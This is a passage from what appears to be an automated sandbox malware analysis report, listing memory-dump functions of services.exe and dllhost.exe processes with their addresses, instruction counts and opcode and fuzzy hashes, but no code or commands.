Opcode Fuzzy Hash: 27686c1d0485663cf97e0fce247f959e4c56548f209699651b6c76fc4a94a07b
Instruction Fuzzy Hash: D511CE30E0A74E8FE7659F6884297B8BBB1EF4A300F04007ED429D72E6CE2869009711

Function 00007FFD9B8A3F74 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2250229608.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52607a910237e6e6b2cd746ebc4f48033578da88225f38dfc79e2322f35e9def
Instruction ID: 037e0bd620e6754fb3588cb36fbb5757d315a526a35e376c9dc0c32f5b2ec47f
Opcode Fuzzy Hash: 52607a910237e6e6b2cd746ebc4f48033578da88225f38dfc79e2322f35e9def
Instruction Fuzzy Hash: 1511CE30E1AA0E8EE7B49F98C0257B9B6A1EF88300F04043ED40DE36D6CE38A9409651

Function 00007FFD9B8A3F6B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2250229608.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13b80a9b867a2cc29d17517684b8bcc8296a6455ff88816221bdbb1c6ea2b61b
Instruction ID: 783cd07a978060709160e7f5eb6f2b0893e57de7ca83318b17fe15457139e8ad
Opcode Fuzzy Hash: 13b80a9b867a2cc29d17517684b8bcc8296a6455ff88816221bdbb1c6ea2b61b
Instruction Fuzzy Hash: 0B01AD30A0A64E8FE7A4DF64C4257B9BBA1EF89300F04047ED409E72D6CE386941A711

Function 00007FFD9B8A6839 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2250229608.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d57568d1be28d90ba4de6f2a4d69d5cc4a91cb21c2ecd07ac74183c340a6012
Instruction ID: ad1c2ef31552850859396304d29740228f5c224a26a5116fddeba4fda09d604f
Opcode Fuzzy Hash: 7d57568d1be28d90ba4de6f2a4d69d5cc4a91cb21c2ecd07ac74183c340a6012
Instruction Fuzzy Hash: B4F03C7090E68D8FDB52EF6888686ADBFF0FF1A300F0505ABD458D71A6E7389644CB51

Function 00007FFD9B8A10EA Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2250229608.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6a9b4f93fe7216e3b91cdac56076572d1f761f8bf54bb6f158f8b2d2f3e1a11
Instruction ID: 26cb53d8599fd7257b5baa75365b068da1623b5ef4c020ff4bd55f15febb8f24
Opcode Fuzzy Hash: c6a9b4f93fe7216e3b91cdac56076572d1f761f8bf54bb6f158f8b2d2f3e1a11
Instruction Fuzzy Hash: 6FE06832908A4C4BDBA0EF68A8166A6FBB0FBCA308F01016EE55CC30A1D3259642C380

Function 00007FFD9B8A4F5C Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2250229608.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c3e93787eb5756005976317fe58c8778a623868cf9cad21e49af888a583b487
Instruction ID: 0581af6899cde3399f943791f18a345b4b1817a9df0a825cc02115fd6acfd42f
Opcode Fuzzy Hash: 7c3e93787eb5756005976317fe58c8778a623868cf9cad21e49af888a583b487
Instruction Fuzzy Hash: C3E06831A49A0C4FDB509B989C2028433A0FB8C308F05026ED00CCB191D7615640C302

Function 00007FFD9B8A6680 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2250229608.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1ee1c862055f0e15cad11a7f18ce4c61f7daa4aed7dc58bc3fa2fb718089a28
Instruction ID: f2118a013a1d7196077e7fc99b33f73e7011191ab33be1bfad8caa0f2a5ba5c2
Opcode Fuzzy Hash: b1ee1c862055f0e15cad11a7f18ce4c61f7daa4aed7dc58bc3fa2fb718089a28
Instruction Fuzzy Hash: A8E06F31A49A0C8BCB64AB589C2028832B0FB9E308F01026AE08CC3094D3215A8AC300

Function 00007FFD9B8A09D3 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2250229608.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a0000_services.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 226f756981979a46f8c1e6dc31490a58f0895d4c3272894f5e52aa6b847578e9
Instruction ID: 14b7e6b7aef5e840a5a8c459bc948ab57dfab4e75d3bcd97d1788abfc8892be8
Opcode Fuzzy Hash: 226f756981979a46f8c1e6dc31490a58f0895d4c3272894f5e52aa6b847578e9
Instruction Fuzzy Hash: A7E04F31A2591D4FDB54EF8CD8955FCB3B2FF98700B010536D00DE7152DA216800C750

Analysis Process: dllhost.exePID: 4632, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9B8A27F6 Relevance: 2.7, Strings: 2, Instructions: 179COMMON

Download Yara Rule

Strings

[, xrefs: 00007FFD9B8A2856
], xrefs: 00007FFD9B8A289A

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID: [$]
API String ID: 0-2073744556
Opcode ID: af2b87e34b9a70c932515c718ec2845d051259957921a61a7bd4482f054e18a2
Instruction ID: 7f5dad72c0db2f60b51897c9a0b96287f2c8f123d46d8106ad79c40a06b56ef8
Opcode Fuzzy Hash: af2b87e34b9a70c932515c718ec2845d051259957921a61a7bd4482f054e18a2
Instruction Fuzzy Hash: FA711770A0966D8FDBA9DF58C895BE9B7B1FF58301F5001EAE00DD7295CA356A81CF40

Function 00007FFD9B8A1250 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

, xrefs: 00007FFD9B8A137D

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 1740307d268c0dca2ede7d10d1bab87087c4e793f0c746208c4d8a9879219b56
Instruction ID: 3008b8a6593317f5a54665654e8cf60bd4be4d2ee9bdf5f59440303c3a634972
Opcode Fuzzy Hash: 1740307d268c0dca2ede7d10d1bab87087c4e793f0c746208c4d8a9879219b56
Instruction Fuzzy Hash: 1EA18374A0891C8FDB98EF58C894BA8B7F1FF69301F4541A9E00DE72A5DB74AD81CB40

Function 00007FFD9B8A1751 Relevance: .4, Instructions: 385COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ed2fae0961658c361bc6e16f9dad57ea87a6df086bd73451a4167de8bbe8eea
Instruction ID: b7f6baf06468fb0daf5ce3dcadcbe4975a53dc596e60ca3b35cf70ca54645895
Opcode Fuzzy Hash: 9ed2fae0961658c361bc6e16f9dad57ea87a6df086bd73451a4167de8bbe8eea
Instruction Fuzzy Hash: 7ED19E71E1965D8FDB58EB64D8A5BF8BBB1EF19300F0401BAD00DD72A2DA386981CB11

Function 00007FFD9B8A0DD9 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6568407ab17a390a861ba86441334bb3ba2c6e8b5bc16995715beb73b0647baf
Instruction ID: 8a57367a3259078a423f857ea99f31a41b06a06f32f6b5c363fd11283723c779
Opcode Fuzzy Hash: 6568407ab17a390a861ba86441334bb3ba2c6e8b5bc16995715beb73b0647baf
Instruction Fuzzy Hash: 22716E30A1994E8FDB58EF58D895EEDB7B1FF58300F1542A5D01DD729ACA34A841CB90

Function 00007FFD9B8A4843 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e29baeb71d02360be1131fbab1b35500b8e5ca7c683361da2dc05212265c2518
Instruction ID: 2be46e99177b2b025eef093702e290d4646cc1100bf01f1137418c3d243b2bb9
Opcode Fuzzy Hash: e29baeb71d02360be1131fbab1b35500b8e5ca7c683361da2dc05212265c2518
Instruction Fuzzy Hash: F181B470E14A1D8FEB94EFA8C855BADB7B1FF58300F5041AAD41DE3296DE3469818B41

Function 00007FFD9B8A4611 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b50c922d02407a2f3aa2a3bc218f314ab40f4bf051f0137b616a3f8a332e8727
Instruction ID: 614097ec22a1efdbfb9ab7d9f963809da1415a8d269a1a36bafc944160f3704a
Opcode Fuzzy Hash: b50c922d02407a2f3aa2a3bc218f314ab40f4bf051f0137b616a3f8a332e8727
Instruction Fuzzy Hash: 8571C270E18A1D8FDF98EF98D8A5AEDBBB1FF58300F51016AE00DE7295DA346941CB40

Function 00007FFD9B8A08B1 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87748ef04385cd08ecbd1c0faac4bbde5bbfe331762d20f8d8ac0caee6ee4234
Instruction ID: 6f4534933bc0d619169a23969143645671a8f4aa995cd76ac2cf0ac1640e74e4
Opcode Fuzzy Hash: 87748ef04385cd08ecbd1c0faac4bbde5bbfe331762d20f8d8ac0caee6ee4234
Instruction Fuzzy Hash: 8751F431A1964D8FEBA4EFA8C8A46AC7BF1FF58300F0501BAD01DD71A6CB35A941C750

Function 00007FFD9B8A190D Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45063b7e0001b4de9a46293d6d5974915d1657fcefa887bea742096a89b71f5a
Instruction ID: 782a53bc8f80a2d9c3a65de82f793f7a532e15e936bf487cd7c8290daec9fec8
Opcode Fuzzy Hash: 45063b7e0001b4de9a46293d6d5974915d1657fcefa887bea742096a89b71f5a
Instruction Fuzzy Hash: 46510C70E19A5D8FDB9CEB58D8A4BA8B7B1FF58300F5440B9D00DE72A6DE346981CB00

Function 00007FFD9B8A0AB9 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a1a4846f99e7f00215b8372b84c7896cf31f6b2528f9d06e9131427811aa3de
Instruction ID: 6fee4248f9b7428085634ad2dbbb3fedb8e0c5f06b4a26b613fe88c048517797
Opcode Fuzzy Hash: 4a1a4846f99e7f00215b8372b84c7896cf31f6b2528f9d06e9131427811aa3de
Instruction Fuzzy Hash: 2851C870E19A5D8FDB98DF98C8546EDBBB2FF68301F15012AD00DE7295CB745845CB50

Function 00007FFD9B8A6129 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f4292babdc708d44cc0ae639af2626a04d8c0c15f220eefded7aa3747dab20d
Instruction ID: 13728999103d407ead80e4a0fc2a6a7a9c73a2e75b4a3a2992068f1b4a581591
Opcode Fuzzy Hash: 9f4292babdc708d44cc0ae639af2626a04d8c0c15f220eefded7aa3747dab20d
Instruction Fuzzy Hash: 99519FB0E0961E8FDBA8DBA8C4A57AC7BB1FF59300F51457AD00DD3299DB386981CB50

Function 00007FFD9B8A38B8 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98b812db92c61cdd604a25f5d8e5f07aff19c4ce9e2bdc545bc4b20fdac60e37
Instruction ID: 3fcfe51f171dea2b20d57c99d53aa956b6b05ed17f845ba4ebc1364e82f9cce8
Opcode Fuzzy Hash: 98b812db92c61cdd604a25f5d8e5f07aff19c4ce9e2bdc545bc4b20fdac60e37
Instruction Fuzzy Hash: 06417C71E0951D8FDB58EF98D861AEDB7F1FF58310F11017AE019E32D9DA34A9018B51

Function 00007FFD9B8A0C6D Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c202c470f80ed19d930e679d96137e42a37540f64e056a8f5d96941ae0187eb
Instruction ID: dcd6140204b1f42dc84d8d7ce8d2d4559eaeb4d8a60501baa786aa63f5157d4f
Opcode Fuzzy Hash: 1c202c470f80ed19d930e679d96137e42a37540f64e056a8f5d96941ae0187eb
Instruction Fuzzy Hash: 29413731D1961D8FDB55EFA8D454AEDBBB0FF19300F01046AD409E3196DA78AA45CB50

Function 00007FFD9B8A1521 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1d2d9b0ed357c160b3db612653c4364854aad65df8309f372cced4b4902256a
Instruction ID: d442727de3d6ec1cec04f0bdfa38b37115c0014cd2e9c0ad04748944762b4b4c
Opcode Fuzzy Hash: c1d2d9b0ed357c160b3db612653c4364854aad65df8309f372cced4b4902256a
Instruction Fuzzy Hash: 5441C634A1991D8FDFA8EF58C8A5BACB7F1FF58304F5540A9904EE3291DE74A981CB40

Function 00007FFD9B8A0AD0 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90d3b9646a5791b5e296a898024a3586cf4b4f08959e721006dcb3bb94fea8f2
Instruction ID: 086003592d35bc73b4e7982a7714b1b89c3af3f99474b1e7b318920fdf827183
Opcode Fuzzy Hash: 90d3b9646a5791b5e296a898024a3586cf4b4f08959e721006dcb3bb94fea8f2
Instruction Fuzzy Hash: 0F31EC70A1991D8FDF98EF98C855BED7BB1FBA8705F11012AD00DE3295CB34A946CB90

Function 00007FFD9B8A4525 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9249fe7c760d7de871b24db4bbba6811a04fe0697b87780eb16da9342022ca59
Instruction ID: 187da89a3123f21e11a4d80a560f5c4c2cf8790bb102581c17104aef955b147e
Opcode Fuzzy Hash: 9249fe7c760d7de871b24db4bbba6811a04fe0697b87780eb16da9342022ca59
Instruction Fuzzy Hash: 8E412832A0E6CA4FEB55DFA898350E97FA1FF55310B4A01BEE448871E7CA24A905C391

Function 00007FFD9B8A4BE9 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c970766ad189f97d76355f16edcdaef2e52f23d539c62ed662fa0235cab55a91
Instruction ID: f88344d344d9c2995b7556a014b9c404156e729a12fab54813afc8a4294b7f79
Opcode Fuzzy Hash: c970766ad189f97d76355f16edcdaef2e52f23d539c62ed662fa0235cab55a91
Instruction Fuzzy Hash: 7D418C70E096598FEB55EFA4C865AEDBBB1FF49300F4501BED009D72A6CB385982CB01

Function 00007FFD9B8A1129 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ee560f7430ddace33d1d2f1961da76b416772deb7de6a66d9c7b6459ebfecac
Instruction ID: d1f338edccc57454fd27aad43970815842b9c4df6335bcd75b96b1821c1f07ba
Opcode Fuzzy Hash: 4ee560f7430ddace33d1d2f1961da76b416772deb7de6a66d9c7b6459ebfecac
Instruction Fuzzy Hash: A3219F71A0895D8FDF91EFA8D855AED7BF1FF59310F00017AE408E72A1CA389941CB90

Function 00007FFD9B8A3A8D Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46053ece51d2ac2ed1651ddaa1349c2a67b54f90332dbf77bdc0425ba82d1e2e
Instruction ID: 55a4a32d59850b63ea6afd8f310755085435b6f16c62c3ffccf2b39f9f1a64c6
Opcode Fuzzy Hash: 46053ece51d2ac2ed1651ddaa1349c2a67b54f90332dbf77bdc0425ba82d1e2e
Instruction Fuzzy Hash: E021D331B0FA9E4FEBA5DB6888646A977A1FF59300F0601BAC04CD71D2DE35A941C751

Function 00007FFD9B8A3F00 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d83a15dcb85f4e4ce29848ba9442fe0c94d5dbbc72ebb7028fb35323567db0bf
Instruction ID: c3cbec4425bed69121ca3ec3df532acf1264e88c57436a25273327eba7635641
Opcode Fuzzy Hash: d83a15dcb85f4e4ce29848ba9442fe0c94d5dbbc72ebb7028fb35323567db0bf
Instruction Fuzzy Hash: 2C314D30E1560E8FEBA8DB64C4697B9B6B1EF49300F1005BDD45DD32E6CE3469819B40

Function 00007FFD9B8A6895 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2acc91165b612b8433913ae6cf7b4b5512b54468f2c34be3d248cff10c737eba
Instruction ID: d0c27210f21b2f01ea93419b7348e44769397ea2bb8e48673e0e1f498c2d9951
Opcode Fuzzy Hash: 2acc91165b612b8433913ae6cf7b4b5512b54468f2c34be3d248cff10c737eba
Instruction Fuzzy Hash: C9219D71E0A61E8FDB68DFA4D4A02FEB7F0EF19301F11017ED019A22D5DA385A44CBA1

Function 00007FFD9B8A3F0B Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9e1293df4a1cde892f914da95459c386d614544e12654695ada70d2b2e39c2c
Instruction ID: 6e2e62338414639d78a1a89d5b072f350a4e1ec3692c9a88ab47f90b30988058
Opcode Fuzzy Hash: f9e1293df4a1cde892f914da95459c386d614544e12654695ada70d2b2e39c2c
Instruction Fuzzy Hash: C3219531F1A60E8FEB74DF94C4656B973B1EF89300F05007AD51D932E6CE38AA419B50

Function 00007FFD9B8A1048 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 903012478a55fe1f55f9f8c27e9007497e07601489c9ed2e6e7233bb422008dc
Instruction ID: 41aaec29c4788d8dcf3a194fc38965fda25eaec251b9563e8ec8545be51d52a8
Opcode Fuzzy Hash: 903012478a55fe1f55f9f8c27e9007497e07601489c9ed2e6e7233bb422008dc
Instruction Fuzzy Hash: 82219270A1891D8FDF88EF88D495EEDBBB1FF68300F1041A9E50AE3255DA34E841CB80

Function 00007FFD9B8A3F43 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ca148ff3a6a71e601e7c45a858534dcc5e12d895c870cc038712fae97b59cfb
Instruction ID: f3c6fdefa3ef34d1bf43909c86076c0794961ad03c071b2f307dbd1dd244c354
Opcode Fuzzy Hash: 4ca148ff3a6a71e601e7c45a858534dcc5e12d895c870cc038712fae97b59cfb
Instruction Fuzzy Hash: C4219D30A0E74D4FEBA5DB64C825BB97BB1EF49300F0401BAD40DE72E6CE3869448B52

Function 00007FFD9B8A3FC1 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc3f52e581fd28c40fd9541fc4c95290dbff0f2d8f83a13b3a6da2b2428de0b9
Instruction ID: d3934acda65f4bcb97d767fc04faa78c4458610a43722641706f29b88cc22078
Opcode Fuzzy Hash: bc3f52e581fd28c40fd9541fc4c95290dbff0f2d8f83a13b3a6da2b2428de0b9
Instruction Fuzzy Hash: 9311D630A0E78D4FEB669B6484247B97BB1EF46300F0800BBD049D72D7CD285945D752

Function 00007FFD9B8A3F62 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d11e3475aea2c98720301659281a3f9ba9dc9bbeb8f9f9662c348ba6b53f0e21
Instruction ID: add66aeb6f22958cc8bbe7a0e7318773f6640fa5a0e3596dbe6abdad01a53c17
Opcode Fuzzy Hash: d11e3475aea2c98720301659281a3f9ba9dc9bbeb8f9f9662c348ba6b53f0e21
Instruction Fuzzy Hash: B811A330E1A60E8FEBB8DB68C4257B9B6B1EF89300F15153DD41DE32E5CE3869009651

Function 00007FFD9B8A3F86 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5d9ea4c1c81cfc133bc20641f2d1d2307559af1ead0066699705295c34d5045
Instruction ID: ba39119354bf022305d8f653f0886c71774aadc3e8846f11e7082b7bd05b6c6b
Opcode Fuzzy Hash: e5d9ea4c1c81cfc133bc20641f2d1d2307559af1ead0066699705295c34d5045
Instruction Fuzzy Hash: E1118230E1A64E8EEBB4EFA4C4257B876B1EF89304F15003ED41DA36E6CE39A9419711

Function 00007FFD9B8A3EEC Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27686c1d0485663cf97e0fce247f959e4c56548f209699651b6c76fc4a94a07b
Instruction ID: d785fe921b3fb8448094c164c9d6a00b5f40c7096b07111ac8c29c46cacc9e8e
Opcode Fuzzy Hash: 27686c1d0485663cf97e0fce247f959e4c56548f209699651b6c76fc4a94a07b
Instruction Fuzzy Hash: D511CE30E0A74E8FE7659F6884297B8BBB1EF4A300F04007ED429D72E6CE2869009711

Function 00007FFD9B8A3F74 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.2196654259.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ffd9b8a0000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52607a910237e6e6b2cd746ebc4f48033578da88225f38dfc79e2322f35e9def
